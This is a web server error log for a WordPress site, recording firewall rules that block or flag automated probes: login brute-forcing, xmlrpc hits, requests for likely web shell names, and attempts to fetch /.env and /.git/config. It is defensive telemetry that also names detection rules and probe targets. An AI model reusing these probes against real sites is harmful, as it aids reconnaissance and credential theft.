[Sat May 16 19:42:05.403964 2026] [:error] [pid 24979:tid 24992] [client 54.37.86.223:58388] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aghYDbvSFUQiwLaOL2qjYAAAAMs"]
[Sat May 16 19:42:07.286720 2026] [:error] [pid 62341:tid 62351] [client 54.37.86.223:58402] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aghYD6nvQ59ep-XG78i8yAAAAoU"]
[Sat May 16 19:42:09.292793 2026] [:error] [pid 24869:tid 24932] [client 54.37.86.223:58404] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aghYEexo3FMprMltYl43rgAAAFg"]
[Sat May 16 19:42:11.314021 2026] [:error] [pid 24869:tid 24920] [client 54.37.86.223:58186] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aghYE-xo3FMprMltYl43sQAAAEw"]
[Sat May 16 19:42:13.321298 2026] [:error] [pid 24874:tid 24958] [client 54.37.86.223:58190] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aghYFciii6x3XidYGHHfogAAAJc"]
[Sat May 16 19:42:15.329125 2026] [:error] [pid 5602:tid 5610] [client 54.37.86.223:58196] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aghYF9zTTsu77r3UIsk1CgAAAQY"]
[Sat May 16 21:21:08.152649 2026] [:error] [pid 62341:tid 62359] [client 103.133.215.148:54872] [client 103.133.215.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.133.215.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aghvRKnvQ59ep-XG78jDfgAAAo0"]
[Sat May 16 21:53:10.607282 2026] [:error] [pid 61361:tid 61370] [client 43.156.156.96:50300] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agh2xpZojzbt3jGziNmHBwAAAUc"]
[Sat May 16 22:20:40.931009 2026] [:error] [pid 61361:tid 61385] [client 119.91.20.139:39336] [client 119.91.20.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agh9OJZojzbt3jGziNmNBgAAAVY"]
[Sat May 16 22:56:14.838645 2026] [:error] [pid 61411:tid 61431] [client 74.7.227.163:50772] [client 74.7.227.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agiFjmVkiEwGnPL_dvEn8gAAAZI"], referer: https://gigfragments.org/?p=1775
[Sat May 16 23:23:54.743006 2026] [autoindex:error] [pid 24869:tid 24911] [client 74.7.227.163:40746] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor-pro/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://gigfragments.org/publications-and-outcomes/
[Sat May 16 23:23:58.237793 2026] [autoindex:error] [pid 24869:tid 24918] [client 74.7.227.163:40746] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://gigfragments.org/publications-and-outcomes/
[Sat May 16 23:34:29.736332 2026] [:error] [pid 61361:tid 61367] [client 183.181.83.149:43828] [client 183.181.83.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 183.181.83.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agiOhZZojzbt3jGziNmXiQAAAUQ"]
[Sat May 16 23:34:31.480312 2026] [:error] [pid 61361:tid 61365] [client 183.181.83.149:43828] [client 183.181.83.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 183.181.83.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agiOh5Zojzbt3jGziNmXjQAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 01:14:55.625686 2026] [:error] [pid 61411:tid 61430] [client 64.226.120.21:33862] [client 64.226.120.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.120.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agimD2VkiEwGnPL_dvE7ugAAAZE"]
[Sun May 17 01:14:57.202754 2026] [:error] [pid 61411:tid 61415] [client 64.226.120.21:33862] [client 64.226.120.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.120.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agimEWVkiEwGnPL_dvE7uwAAAYI"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 01:53:35.364436 2026] [:error] [pid 61411:tid 61427] [client 185.208.164.36:58364] [client 185.208.164.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.208.164.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agivH2VkiEwGnPL_dvFBzQAAAY4"]
[Sun May 17 01:53:37.870553 2026] [:error] [pid 61411:tid 61415] [client 185.208.164.36:58364] [client 185.208.164.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.208.164.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agivIWVkiEwGnPL_dvFB0AAAAYI"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 02:09:44.188995 2026] [:error] [pid 61411:tid 61423] [client 170.106.84.136:45404] [client 170.106.84.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agiy6GVkiEwGnPL_dvFEZQAAAYo"]
[Sun May 17 03:14:29.340395 2026] [:error] [pid 50971:tid 51097] [client 103.153.183.69:2486] [client 103.153.183.69] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agjCFfJpjbEVWnc966dwHgAAAE4"]
[Sun May 17 03:14:29.340501 2026] [:error] [pid 50971:tid 51097] [client 103.153.183.69:2486] [client 103.153.183.69] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agjCFfJpjbEVWnc966dwHgAAAE4"]
[Sun May 17 03:39:50.418011 2026] [:error] [pid 59060:tid 59076] [client 43.165.198.224:50938] [client 43.165.198.224] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agjIBvvwvq3bndkPE4m4HgAAAAc"]
[Sun May 17 05:26:20.461632 2026] [:error] [pid 59166:tid 59181] [client 157.15.40.86:52863] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "agjg_E_puQ1I47_0Urin9gAAAM0"]
[Sun May 17 05:26:21.313330 2026] [:error] [pid 36652:tid 36668] [client 157.15.40.86:53082] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "agjg_TZrzQadnZADvj8EuQAAAQ4"]
[Sun May 17 05:26:21.586659 2026] [:error] [pid 59166:tid 59185] [client 157.15.40.86:53109] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "agjg_U_puQ1I47_0Urin-wAAANE"]
[Sun May 17 05:26:21.866794 2026] [:error] [pid 59166:tid 59174] [client 157.15.40.86:53136] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "agjg_U_puQ1I47_0Urin_AAAAMY"]
[Sun May 17 05:26:23.827096 2026] [:error] [pid 36652:tid 36657] [client 157.15.40.86:53345] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "agjg_zZrzQadnZADvj8EzQAAAQM"]
[Sun May 17 05:26:25.874465 2026] [:error] [pid 59061:tid 59117] [client 157.15.40.86:53416] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "agjhAYYS410zAmsYkoLwnwAAAFU"]
[Sun May 17 05:26:26.149097 2026] [:error] [pid 59062:tid 59131] [client 157.15.40.86:53589] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "agjhAj4V9GkVWmCFmGa0pwAAAIg"]
[Sun May 17 05:26:26.422878 2026] [:error] [pid 59060:tid 59078] [client 157.15.40.86:53612] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "agjhAvvwvq3bndkPE4nA8AAAAAk"]
[Sun May 17 05:26:28.673777 2026] [:error] [pid 59061:tid 59099] [client 157.15.40.86:53704] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/postnews.php"] [unique_id "agjhBIYS410zAmsYkoLwpwAAAEM"]
[Sun May 17 05:40:13.958760 2026] [:error] [pid 59060:tid 59074] [client 163.44.120.29:57162] [client 163.44.120.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.44.120.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agjkPfvwvq3bndkPE4nCDAAAAAU"]
[Sun May 17 05:40:15.850909 2026] [:error] [pid 59060:tid 59080] [client 163.44.120.29:57162] [client 163.44.120.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.44.120.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agjkP_vwvq3bndkPE4nCEQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 06:35:24.799898 2026] [:error] [pid 36652:tid 36666] [client 85.13.217.246:47592] [client 85.13.217.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.13.217.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agjxLDZrzQadnZADvj8WIQAAAQw"]
[Sun May 17 06:35:26.435919 2026] [:error] [pid 36652:tid 36673] [client 85.13.217.246:47592] [client 85.13.217.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.13.217.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agjxLjZrzQadnZADvj8WIgAAARM"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 07:16:11.517777 2026] [:error] [pid 59060:tid 59086] [client 20.199.161.175:51668] [client 20.199.161.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "agj6u_vwvq3bndkPE4nJSgAAABE"]
[Sun May 17 07:37:34.083162 2026] [:error] [pid 36652:tid 36667] [client 43.165.186.188:38928] [client 43.165.186.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agj_vjZrzQadnZADvj8deAAAAQ0"]
[Sun May 17 08:37:23.989115 2026] [:error] [pid 36652:tid 36672] [client 77.42.65.83:55638] [client 77.42.65.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.42.65.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agkNwzZrzQadnZADvj8mbwAAARI"]
[Sun May 17 08:37:25.696389 2026] [:error] [pid 36652:tid 36669] [client 77.42.65.83:55638] [client 77.42.65.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.42.65.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agkNxTZrzQadnZADvj8mcQAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 08:57:52.918596 2026] [:error] [pid 36652:tid 36655] [client 208.122.218.181:17976] [client 208.122.218.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.122.218.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agkSkDZrzQadnZADvj8oOgAAAQE"]
[Sun May 17 08:57:54.656481 2026] [:error] [pid 36652:tid 36674] [client 208.122.218.181:17976] [client 208.122.218.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.122.218.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agkSkjZrzQadnZADvj8oPAAAARQ"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 10:01:54.516998 2026] [:error] [pid 59166:tid 59173] [client 172.105.20.12:54578] [client 172.105.20.12] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agkhkk_puQ1I47_0UrjGcAAAAMU"]
[Sun May 17 10:01:54.945814 2026] [:error] [pid 59166:tid 59191] [client 172.105.20.12:54578] [client 172.105.20.12] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agkhkk_puQ1I47_0UrjGcgAAANc"]
[Sun May 17 10:01:58.098924 2026] [:error] [pid 59166:tid 59185] [client 172.105.20.12:54578] [client 172.105.20.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.105.20.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agkhlk_puQ1I47_0UrjGdQAAANE"]
[Sun May 17 10:08:28.242574 2026] [:error] [pid 59062:tid 59130] [client 129.211.172.249:48928] [client 129.211.172.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agkjHD4V9GkVWmCFmGbPcQAAAIc"]
[Sun May 17 10:13:24.135704 2026] [:error] [pid 59061:tid 59097] [client 92.118.39.29:44152] [client 92.118.39.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "agkkRIYS410zAmsYkoIGUAAAAEE"]
[Sun May 17 10:37:01.940003 2026] [:error] [pid 17234:tid 17241] [client 116.202.49.42:41156] [client 116.202.49.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.49.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agkpzdJ4QOrYRCeDR2ghRwAAAUU"]
[Sun May 17 10:37:04.397441 2026] [:error] [pid 17234:tid 17257] [client 116.202.49.42:41156] [client 116.202.49.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.49.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agkp0NJ4QOrYRCeDR2ghSQAAAVU"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 11:04:24.007416 2026] [:error] [pid 59166:tid 59176] [client 51.254.132.128:49268] [client 51.254.132.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.254.132.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agkwOE_puQ1I47_0UrjNrgAAAMg"]
[Sun May 17 11:04:25.658806 2026] [:error] [pid 59166:tid 59179] [client 51.254.132.128:49268] [client 51.254.132.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.254.132.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agkwOU_puQ1I47_0UrjNrwAAAMs"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 12:11:00.604993 2026] [:error] [pid 59062:tid 59129] [client 43.156.168.214:48846] [client 43.156.168.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agk_1D4V9GkVWmCFmGbbVAAAAIY"]
[Sun May 17 13:02:40.874807 2026] [:error] [pid 59166:tid 59185] [client 162.62.213.187:47282] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aglL8E_puQ1I47_0UrjatwAAANE"]
